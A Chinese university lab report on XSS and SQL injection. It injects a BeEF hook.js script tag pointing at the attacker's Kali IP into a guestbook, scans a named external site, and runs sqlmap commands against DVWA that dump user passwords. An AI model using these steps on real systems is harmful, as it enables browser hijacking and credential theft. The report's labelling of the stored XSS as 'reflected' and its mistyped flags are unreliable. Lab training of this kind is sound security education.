一、 实验目的
了解什么是XSS；了解XSS攻击实施，理解防御XSS攻击的方法；了解SQL注入的基本原理；掌握PHP脚本访问MySQL数据库的基本方法；掌握程序设计中避免出现SQL注入漏洞的基本方法；掌握网站配置。
二、 系统环境：Kali Linux2、Windows
三、 网络环境：交换网络结构
四、 实验工具：AWVS(Acunetix Web Vulnarability Scanner);SqlMAP；Dvwa；PHPStudy
五、 实验步骤：
1、XSS部分：利用Beef劫持被攻击者客户端浏览器
实验环境搭建。
角色：留言簿网站。存在XSS漏洞；（Win2003、IIS、guestbook搭建）
攻击者：Kali（使用beef生成恶意代码，并通过留言方式提交到留言簿网站）；
被攻击者：访问留言簿网站，浏览器被劫持。
1、 利用AWVS扫描留言簿网站http://gbook.ziyexing.com/leaveword/，发现其存在XSS漏洞，截图。
2、首先修改beef的默认登陆用户名和密码：
进入/etc/beef-xss文件夹。
Kali使用beef生成恶意代码，这个主要就是进入/etc/share/beef-xss文件夹，然后输入./beef运行beef，就会自动生成恶意代码，截图。
3、用另一台win7的虚拟机访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板，
<script src="http://Kali的IP地址:3000/hook.js"></script>，截图
3、查看用户留言，只要客户端访问这个服务器的留言板，客户端浏览器就会被劫持，指定被劫持网站为学校主页（百度主页），将拟在beff中的配置截图。
5、回答问题：实验中XSS攻击属于哪种类型？
XSS属于反射型攻击。
SQL注入部分：DVWA+SQLmap+Mysql注入实战
https://blog.51cto.com/huangzp/1899871
实验环境搭建。见参考文档2.搭建DVWA测试环境和SQL注入之SQLmap入门.docx
1、注入点发现。首先肯定是要判断是否有注入漏洞。
在输入框输入1，返回
ID: 1
First name: admin
Surname: admin
返回正常：
再次输入1‘，报错，返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1‘‘‘ at line 1
此时可以断定有SQL注入漏洞，
http://IP地址/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#
下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低；
2、枚举当前使用的数据库名称和用户名。
你输入的命令：
Sqlmap输出截图。
3、枚举数据库用户名和密码。
(1)你输入的命令：
sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie=‘security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2‘ --string="Surname" --users --password
(2)Sqlmap输出截图。
4、枚举数据库
--dbs：枚举当前数据库
(1)你输入的命令：
sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie=‘security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2‘ --string="Surname" –dbs
(2)Sqlmap输出截图:
5、枚举数据库和指定数据库的数据表
-D 数据库名：指定数据库
--tables：枚举指定数据库的所有表
(1)你输入的命令：
sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie=‘security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2‘ --string="Surname" -D dvwa –tables
(2)Sqlmap输出截图。
6、获取指定数据库和表中所有列的信息
-D：指定的数据库
-T：指定数据库中的数据表
--columns：获取列的信息
(1)你输入的命令：
sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie=‘security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2‘ --string="Surname" -D dvwa -T users –columns
(2)Sqlmap输出截图。
7、枚举指定数据表中的所有用户名与密码,并down到本地。
-C：枚举数据表中的列
--dump：存储数据表项
(1)你输入的命令：
sqlmap -u "http://192.168.43.148/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit#" --cookie=‘security=low; PHPSESSID=pvij1sd29ufd1uho9v6svc2je2‘ --string="Surname" -D dvwa -T users -C user,password –dump
(2)Sqlmap输出截图:
(3)查看down到本地的用户名与密码，截图。（提示带.的文件夹为隐藏，在图形命令下，用文件浏览器打开文件夹，按下ctrl+h组合键可显示隐藏文件合文件夹，再按一次取消显示。）
原文地址：https://www.cnblogs.com/BASE64/p/10898943.html